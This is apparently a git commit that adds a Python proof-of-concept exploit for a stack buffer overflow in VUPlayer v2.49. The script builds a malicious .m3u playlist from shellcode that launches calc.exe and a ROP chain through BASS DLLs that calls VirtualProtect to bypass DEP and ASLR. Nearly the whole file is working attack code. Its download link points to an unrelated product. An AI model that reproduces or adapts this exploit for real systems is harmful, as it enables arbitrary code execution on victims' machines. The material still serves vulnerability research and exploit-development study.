added VUPlayer v.2.49

2026-06-08 12:50:18 +00:00 · 2020-07-22 12:27:07 +02:00
parent 8ffd068080
commit 46a05bbb5f
2 changed files with 80 additions and 0 deletions
@@ -0,0 +1,80 @@
+"""
+Exploit title:      VUPlayer v.2.49 - .m3u Stack Based Buffer Overflow (DAP & ASLR Bypass)
+Exploit Author:     Paolo Stagno aka VoidSec - voidsec@voidsec.com - https://voidsec.com
+Date:               22/07/2020
+Vendor Homepage:    http://vuplayer.com/
+Download:           https://www.10-strike.com/bandwidth-monitor/bandwidth-monitor.exe
+Version:            v.2.49
+Tested on:          Windows 10 Pro x64 v.1909 Build 18363.418
+Category:           local exploit
+Platform:           windows
+"""
+#!/usr/bin/python
+import struct
+filename="VUPlayer_v.2.49_exploit.m3u"
+
+###################################################################################
+# Shellcode
+# windows/exec CMD=calc.exe with size 227 and bad characters "\x00\x09\x0a\x0d\x1a"
+###################################################################################
+
+shellcode = ("\xbb\xc7\x16\xe0\xde\xda\xcc\xd9\x74\x24\xf4\x58\x2b\xc9\xb1"
+"\x33\x83\xc0\x04\x31\x58\x0e\x03\x9f\x18\x02\x2b\xe3\xcd\x4b"
+"\xd4\x1b\x0e\x2c\x5c\xfe\x3f\x7e\x3a\x8b\x12\x4e\x48\xd9\x9e"
+"\x25\x1c\xc9\x15\x4b\x89\xfe\x9e\xe6\xef\x31\x1e\xc7\x2f\x9d"
+"\xdc\x49\xcc\xdf\x30\xaa\xed\x10\x45\xab\x2a\x4c\xa6\xf9\xe3"
+"\x1b\x15\xee\x80\x59\xa6\x0f\x47\xd6\x96\x77\xe2\x28\x62\xc2"
+"\xed\x78\xdb\x59\xa5\x60\x57\x05\x16\x91\xb4\x55\x6a\xd8\xb1"
+"\xae\x18\xdb\x13\xff\xe1\xea\x5b\xac\xdf\xc3\x51\xac\x18\xe3"
+"\x89\xdb\x52\x10\x37\xdc\xa0\x6b\xe3\x69\x35\xcb\x60\xc9\x9d"
+"\xea\xa5\x8c\x56\xe0\x02\xda\x31\xe4\x95\x0f\x4a\x10\x1d\xae"
+"\x9d\x91\x65\x95\x39\xfa\x3e\xb4\x18\xa6\x91\xc9\x7b\x0e\x4d"
+"\x6c\xf7\xbc\x9a\x16\x5a\xaa\x5d\x9a\xe0\x93\x5e\xa4\xea\xb3"
+"\x36\x95\x61\x5c\x40\x2a\xa0\x19\xbe\x60\xe9\x0b\x57\x2d\x7b"
+"\x0e\x3a\xce\x51\x4c\x43\x4d\x50\x2c\xb0\x4d\x11\x29\xfc\xc9"
+"\xc9\x43\x6d\xbc\xed\xf0\x8e\x95\x8d\x97\x1c\x75\x7c\x32\xa5"
+"\x1c\x80")
+
+def create_rop_chain():
+
+    # rop chain generated with mona.py - www.corelan.be
+    rop_gadgets = [
+      0x10010157,  # POP EBP # RETN [BASS.dll] 
+      0x10010157,  # skip 4 bytes [BASS.dll]
+      0x10015f77,  # POP EAX # RETN [BASS.dll] 
+      0xfffffdff,  # Value to negate, will become 0x00000201
+      0x10014db4,  # NEG EAX # RETN [BASS.dll] 
+      0x10032f72,  # XCHG EAX,EBX # RETN 0x00 [BASS.dll] 
+      0x10015f82,  # POP EAX # RETN [BASS.dll] 
+      0xffffffc0,  # Value to negate, will become 0x00000040
+      0x10014db4,  # NEG EAX # RETN [BASS.dll] 
+      0x10038a6d,  # XCHG EAX,EDX # RETN [BASS.dll] 
+      0x101049ec,  # POP ECX # RETN [BASSWMA.dll] 
+      0x101082db,  # &Writable location [BASSWMA.dll]
+      0x1001621c,  # POP EDI # RETN [BASS.dll] 
+      0x1001dc05,  # RETN (ROP NOP) [BASS.dll]
+      0x10604154,  # POP ESI # RETN [BASSMIDI.dll] 
+      0x10101c02,  # JMP [EAX] [BASSWMA.dll]
+      0x10015fe7,  # POP EAX # RETN [BASS.dll] 
+      0x1060e25c,  # ptr to &VirtualProtect() [IAT BASSMIDI.dll]
+      0x1001d7a5,  # PUSHAD # RETN [BASS.dll] 
+      0x10022aa7,  # ptr to 'jmp esp' [BASS.dll]
+    ]
+    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
+
+buf_max_size = 3000
+eip_offset = 1005
+
+buf = ""
+buf += "http://"
+buf += "A" * eip_offset
+buf += struct.pack('<I',0x10601033) # RETN (BASSMIDI.dll)
+buf += create_rop_chain()
+buf += "\x90" * 16
+buf += shellcode
+buf += "B" * (buf_max_size - len(buf))
+
+print("Writing {} bytes".format(len(buf)))
+file = open(filename,'w');
+file.write(buf);
+file.close();